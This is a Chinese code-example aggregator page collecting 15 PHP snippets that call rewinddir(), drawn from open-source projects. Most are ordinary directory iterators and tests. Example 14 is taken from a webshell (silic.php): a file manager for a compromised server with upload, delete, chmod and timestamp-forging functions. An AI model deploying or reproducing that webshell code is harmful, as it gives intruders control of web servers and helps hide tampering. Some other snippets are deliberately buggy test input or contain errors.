当前位置: 首页>>代码示例>>PHP>>正文


PHP rewinddir函数代码示例

本文整理汇总了PHP中rewinddir函数的典型用法代码示例。如果您正苦于以下问题:PHP rewinddir函数的具体用法?PHP rewinddir怎么用?PHP rewinddir使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了rewinddir函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: cursorGroup

 function cursorGroup($id_group, $position = null, $reference = null)
 {
     if (!isset(SerialFiles_Connector::$psc[$id_group])) {
         return false;
     }
     if ($position === null) {
         $position = 0;
     }
     switch ($position) {
         case SerialFiles_Connector::GROUP_START:
             if ($position < 0) {
                 $position = 0;
             }
             rewinddir($hd);
             while (($file = readdir($hd)) !== false) {
                 $position--;
             }
             break;
         case SerialFiles_Connector::GROUP_END:
             if ($position > 0) {
                 $position = 0;
             }
             break;
         case SerialFiles_Connector::GROUP_ACTUAL:
         default:
             if ($cursor = 0) {
             }
     }
 }
开发者ID:axoquen,项目名称:tt780,代码行数:29,代码来源:SerialFiles_Connector.php

示例2: rewind

 /**
  * Rewind the Iterator
  *
  * Rewinds the Iterator to the first element and returns its value
  *
  * Method for the {@link Iterator} interface implementation
  *
  * @uses AeDirectory_Iterator::current() to return the value of the element
  *
  * @return AeObject_File first element or null, if array is empty
  */
 public function rewind()
 {
     $dh = $this->_directory->getHandle();
     @rewinddir($dh);
     $this->_readNext();
     return $this->current();
 }
开发者ID:jvirtism,项目名称:AnEngine,代码行数:18,代码来源:iterator.class.php

示例3: x

function x()
{
    $uncheckedDir = opendir('.');
    readdir($uncheckedDir);
    $uncheckedDir2 = opendir('.');
    closedir($uncheckedDir2);
    $uncheckedDir3 = opendir('.');
    rewinddir($uncheckedDir3);
    $uncheckedDir = opendir('.');
    readdir(opendir('uncheckedDir4'));
    readdir2(opendir('uncheckedDir5'));
    readdir(opendir2('uncheckedDir6'));
    $uncheckedDir7 = opendir('asdfasdf');
    while ($f = readdir($uncheckedDir7)) {
        print "{$f}\n";
    }
    $checkedDir1 = opendir('.');
    if (!is_resource($checkedDir1)) {
    }
    rewinddir($checkedDir1);
    $checkedDir2 = opendir('.');
    if (!$checkedDir2) {
    }
    rewinddir($checkedDir2);
    // wrong for the comparison!
    if ($checkedDir3 = opendir('.')) {
        readdir($checkedDir3);
    }
    $checkedDir4 = opendir('.');
    while (false !== ($r = readdir($checkedDir4))) {
    }
    //Structures/UncheckedResources
}
开发者ID:exakat,项目名称:exakat,代码行数:33,代码来源:UncheckedResources.01.php

示例4: testRewindUnreadDir

 /**
  * @group rewinddir
  * @group directoryfunc
  */
 function testRewindUnreadDir()
 {
     $this->put('/t/a', 'abc');
     $this->put('/t/b', 'abc');
     $dh = opendir("{$this->basePath}/t");
     rewinddir($dh);
     $this->assertNotFalse(readdir($dh));
     $this->assertNotFalse(readdir($dh));
 }
开发者ID:shabbyrobe,项目名称:defile,代码行数:13,代码来源:RewindDir.php

示例5: basicTest

 protected function basicTest($fileList, $dh)
 {
     $result = array();
     while (($file = readdir($dh)) !== false) {
         $result[] = $file;
     }
     $this->assertEquals($fileList, $result);
     rewinddir($dh);
     if (count($fileList)) {
         $this->assertEquals($fileList[0], readdir($dh));
     } else {
         $this->assertFalse(readdir($dh));
     }
 }
开发者ID:remicollet,项目名称:Streams-1,代码行数:14,代码来源:IteratorDirectory.php

示例6: rewind

 /** @return void */
 public function rewind()
 {
     if (null === $this->handle) {
         if (!is_resource($handle = opendir($this->base->asFolder()->getURI()))) {
             $e = new IOException('Cannot open folder ' . $this->base);
             \xp::gc(__FILE__);
             throw $e;
         }
         $this->handle = $handle;
     } else {
         rewinddir($this->handle);
     }
     $this->next();
 }
开发者ID:johannes85,项目名称:core,代码行数:15,代码来源:FolderEntries.class.php

示例7: wrapSource

 protected static function wrapSource($source, $context, $protocol, $class)
 {
     try {
         stream_wrapper_register($protocol, $class);
         if (@rewinddir($source) === false) {
             $wrapped = fopen($protocol . '://', 'r+', false, $context);
         } else {
             $wrapped = opendir($protocol . '://', $context);
         }
     } catch (\BadMethodCallException $e) {
         stream_wrapper_unregister($protocol);
         throw $e;
     }
     stream_wrapper_unregister($protocol);
     return $wrapped;
 }
开发者ID:isklv,项目名称:smb-bundle,代码行数:16,代码来源:Wrapper.php

示例8: read

 public function read()
 {
     $c = new SeleniumConfig(INI_FILE);
     $dh = opendir($c->testsPath);
     rewinddir($dh);
     $classes = array();
     while ($fileName = readdir($dh)) {
         $regs = array();
         if (ereg('^[0-9]+_(.*)\\.php$', $fileName, $regs)) {
             $class = array();
             $class['file_name'] = $fileName;
             $class['name'] = $regs[1];
             $classes[] = $class;
         }
     }
     closedir($dh);
     return $classes;
 }
开发者ID:BackupTheBerlios,项目名称:sapselenium,代码行数:18,代码来源:SeleniumSuite.php

示例9: getIterator

 /** Iterate over all entries */
 public function getIterator() : \Traversable
 {
     if (null === $this->handle) {
         if (!is_resource($handle = opendir($this->base->asFolder()->getURI()))) {
             $e = new IOException('Cannot open folder ' . $this->base);
             \xp::gc(__FILE__);
             throw $e;
         }
         $this->handle = $handle;
     } else {
         rewinddir($this->handle);
     }
     while (false !== ($entry = readdir($this->handle))) {
         if ('.' === $entry || '..' === $entry) {
             continue;
         }
         (yield $entry => new Path($this->base, $entry));
     }
 }
开发者ID:xp-framework,项目名称:core,代码行数:20,代码来源:FolderEntries.class.php

示例10: rewind

 /**
  * {@inheritdoc}
  */
 public function rewind()
 {
     if ($this->handle === null) {
         $this->handle = opendir($this->path);
     } else {
         rewinddir($this->handle);
     }
     $this->next();
 }
开发者ID:thorebahr,项目名称:icingaweb2,代码行数:12,代码来源:DirectoryIterator.php

示例11: rewind

 public function rewind()
 {
     rewinddir($this->handle);
 }
开发者ID:nishant-shrivastava,项目名称:hiphop-php,代码行数:4,代码来源:systemlib.php

示例12: cleanDir

 protected function cleanDir($path, $only_expired = true)
 {
     if (!is_dir($path)) {
         //bad data.
         return false;
     }
     //We use a relative path, for safety. Don't want to do ramping around deleting stuff we shouldn't.
     if (strpos($path, '..') !== false or substr($path, 0, 4) != substr($this->cacheLocation, 0, 4)) {
         //too dangerous. Goodbye.
         return false;
     }
     $directory = opendir($path);
     rewinddir($directory);
     $dirs = array();
     while (($file = readdir($directory)) !== false) {
         if (!in_array($file, array('.', '..', 'index.html', 'datastore', 'datastore_cache.php'))) {
             if (is_dir($path . $file)) {
                 $dirs[] = $path . $file . '/';
             } else {
                 if (substr($file, -4) == '.dat') {
                     $this->clearOneCache($path . $file, false, $only_expired);
                 }
             }
         }
         //At this point you might notice we don't delete orphan .del files. That's because they are harmless
     }
     closedir($directory);
     foreach ($dirs as $dir) {
         $this->cleanDir($dir, $only_expired);
     }
     return true;
 }
开发者ID:cedwards-reisys,项目名称:nexus-web,代码行数:32,代码来源:filesystem.php

示例13: rewindDirectory

 /**
  * Rewind directory handle.
  *
  * This method is called in response to rewinddir().
  *
  * Should reset the output generated by dir_readdir(). I.e.: The next call
  * to dir_readdir() should return the first entry in the location returned
  * by dir_opendir().
  *
  * @return boolean always TRUE
  */
 public function rewindDirectory()
 {
     rewinddir($this->handle);
     return true;
 }
开发者ID:cerlestes,项目名称:flow-development-collection,代码行数:16,代码来源:ResourceStreamWrapper.php

示例14: File_a


//.........这里部分代码省略.........
<div class="actall" style="text-align:center;padding:3px;">
<form method="GET"><input type="hidden" id="s" name="s" value="a">
<input type="text" name="p" value="{$REAL_DIR}" style="width:550px;height:22px;">
<select onchange="location.href='?s=a&p='+options[selectedIndex].value">
\t<option>---����Ŀ¼---</option>
\t<option value="{$ROOT_DIR}">��վ��Ŀ¼</option>
\t<option value="{$FILE_DIR}">������Ŀ¼</option>
\t<option value="C:/">C��</option>
\t<option value="D:/">D��</option>
\t<option value="E:/">E��</option>
\t<option value="F:/">F��</option>
\t<option value="C:/Documents and Settings/All Users/����ʼ���˵�/����/����">������</option>
\t<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup">������(Ӣ)</option>
\t<option value="C:/RECYCLER">����վ</option>
\t<option value="C:/Program Files">Programs</option>
\t<option value="/etc">etc</option>
\t<option value="/home">home</option>
\t<option value="/usr/local">Local</option>
\t<option value="/tmp">Temp</option>
</select><input type="submit" value="ת��" style="width:50px;"></form>
<div style="margin-top:3px;"></div>
<form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data">
\t<input type="button" value="�½��ļ�" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');">
\t<input type="button" value="�½�Ŀ¼" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');">
\t<input type="button" value="�����ϴ�" onclick="window.location='?s=q&p={$REAL_DIR}';">
\t<input type="file" name="ufp" style="width:300px;height:22px;">
\t<input type="text" name="ufn" style="width:121px;height:22px;">
\t<input type="submit" value="�ϴ�" style="width:50px;">
</form></div>
<form method="POST" name="fileall" id="fileall" action="?s=a&p={$THIS_DIR}">
<table border="0"><tr><td class="toptd" style="width:450px;"> <a href="?s=a&p={$UP_DIR}"><b>�ϼ�Ŀ¼</b></a></td>
<td class="toptd" style="width:80px;"> ���� </td><td class="toptd" style="width:48px;"> ���� </td><td class="toptd" style="width:173px;"> �޸�ʱ�� </td><td class="toptd" style="width:75px;"> ��С </td></tr>
END;
    if (($h_d = @opendir($p)) == NULL) {
        return false;
    }
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' or $Filename == '..') {
            continue;
        }
        $Filepath = File_Str($REAL_DIR . '/' . $Filename);
        if (is_dir($Filepath)) {
            $Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
            $Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
            $Filepath = urlencode($Filepath);
            echo "\r\n" . ' <tr><td> <a href="?s=a&p=' . $Filepath . '"><font face="wingdings" size="3">0</font><b> ' . $Filename . ' </b></a> </td> ';
            $Filename = urlencode($Filename);
            echo ' <td> <a href="#" onclick="Delok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&dd=' . $Filename . '\');return false;"> ɾ�� </a> ';
            echo ' <a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;"> ���� </a> </td> ';
            echo ' <td> <a href="#" onclick="Inputok(\'' . $Fileperm . '\',\'?s=a&p=' . $THIS_DIR . '&mk=' . $Filename . '&md=\');return false;"> ' . $Fileperm . ' </a> </td> ';
            echo ' <td>' . $Filetime . '</td> ';
            echo ' <td> </td> </tr>' . "\r\n";
            $NUM_D++;
        }
    }
    @rewinddir($h_d);
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' or $Filename == '..') {
            continue;
        }
        $Filepath = File_Str($REAL_DIR . '/' . $Filename);
        if (!is_dir($Filepath)) {
            $Fileurls = str_replace(File_Str($ROOT_DIR . '/'), $GETURL, $Filepath);
            $Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
            $Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
            $Filesize = File_Size(@filesize($Filepath));
            if ($Filepath == File_Str(__FILE__)) {
                $fname = '<font color="#8B0000">' . $Filename . '</font>';
            } else {
                $fname = $Filename;
            }
            echo "\r\n" . ' <tr><td> <input type="checkbox" name="files[]" value="' . urlencode($Filepath) . '"><a target="_blank" href="' . $Fileurls . '">' . $fname . '</a> </td>';
            $Filepath = urlencode($Filepath);
            $Filename = urlencode($Filename);
            echo ' <td> <a href="?s=p&fp=' . $THIS_DIR . '&fn=' . $Filename . '"> �༭ </a> ';
            echo ' <a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;"> ���� </a> </td>';
            echo ' <td>' . $Fileperm . '</td> ';
            echo ' <td>' . $Filetime . '</td> ';
            echo ' <td align="right"> <a href="?s=a&df=' . $Filepath . '">' . $Filesize . '</a> </td></tr> ' . "\r\n";
            $NUM_F++;
        }
    }
    @closedir($h_d);
    if (!$Filetime) {
        $Filetime = '2009-01-01 00:00:00';
    }
    print <<<END
</table>
<div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined">
<input type="hidden" id="inver" name="inver" value="undefined">
<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);">
<input type="button" value="����" onclick="SubmitUrl('������ѡ�ļ���·��: ','{$THIS_DIR}','a');return false;">
<input type="button" value="ɾ��" onclick="Delok('��ѡ�ļ�','b');return false;">
<input type="button" value="����" onclick="SubmitUrl('�޸���ѡ�ļ�����ֵΪ: ','0666','c');return false;">
<input type="button" value="ʱ��" onclick="CheckDate('{$Filetime}','d');return false;">
<input type="button" value="����" onclick="SubmitUrl('������������ѡ�ļ�������Ϊ: ','silic.gz','e');return false;">
Ŀ¼({$NUM_D}) / �ļ�({$NUM_F})</div> </form>
END;
    return true;
}
开发者ID:evil7,项目名称:webshell,代码行数:101,代码来源:silic.php

示例15: define

<?php

// Se define el salto de línea
define("salto", "<br>\n");
// Se "abre" el directorio principal de la partición.
$manejador = opendir("C:/");
echo "Contenido del directorio principal:" . salto;
/* Se "rebobina" el directorio para asegurarnos de posicionarnos al principio. */
rewinddir($manejador);
// Mientras haya elementos (directorios o ficheros) para leer.
while ($contenido = readdir($manejador)) {
    echo $contenido . salto;
}
// Se cierra el directorio closedir($manejador);
开发者ID:raulnavascues,项目名称:Curso-Konectia,代码行数:14,代码来源:19+-+mostrarC.php


注:本文中的rewinddir函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。